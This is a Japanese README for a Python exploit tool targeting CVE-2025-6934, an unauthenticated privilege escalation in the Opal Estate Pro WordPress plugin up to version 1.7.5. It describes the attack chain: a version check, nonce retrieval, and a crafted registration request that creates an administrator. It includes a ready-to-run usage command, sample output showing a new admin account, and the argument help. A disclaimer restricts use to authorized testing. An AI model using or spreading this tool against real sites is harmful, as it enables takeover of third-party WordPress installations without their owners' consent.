🛡️ CVE-2025-6934 - Opal Estate Pro における未認証の権限昇格

📝 説明

WordPress 用プラグイン Opal Estate Pro – Property Management and Submission（FullHouse - Real Estate Responsive WordPress Theme で使用）は、バージョン 1.7.5 までのすべてのバージョンにおいて 権限昇格 の脆弱性の影響を受けます。

CVE ID: CVE-2025-6934
CVSS スコア: 9.8（緊急）
公開日: 2025年6月30日

⚙️ スクリプト情報

この Python エクスプロイトは、以下の手順で権限昇格プロセスを自動化します。

readme.txt を介して脆弱性のあるプラグインバージョンを確認します。
登録ページから必要な nonce を取得します。
細工した登録リクエストを送信して 管理者アクセス を取得します。

🚀 使用例

python CVE-2025-6934.py -u http://target-site.com/login-default/ -mail [email protected] -password nxp1234

📤 サンプル出力

[•] Plugin Version Check:
    [+] Vulnerable version detected: 1.7.5

[•] Exploit Attempt Started
    [+] Nonce Found: 70dd70630b
    [+] HTTP Status: 200

[✔] Exploit Successful!
    --------------------------
    Username : nxploitedadmin
    Email    : [email protected]
    Password : nxp1234
    Role     : administrator
    --------------------------

Exploit By: Khaled_alenazi (Nxploited) | https://github.com/Nxploited

🛠️ 引数とヘルプ

usage: CVE-2025-6934.py [-h] -u URL -mail NEWMAIL -password NEWPASSWORD

CVE-2025-6934 Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target URL (e.g., http://site.com/path/)
  -mail, --newmail NEWMAIL
                          Email to register as admin
  -password, --newpassword NEWPASSWORD
                          Password for new admin user

⚠️ 免責事項

このスクリプトは、教育目的および許可されたセキュリティテスト のみを対象としています。
同意なしに対象に対してこのツールを不正に使用することは固く禁止されています。

作成者: Khaled_alenazi (Nxploited)

CVE-2025-6934

人気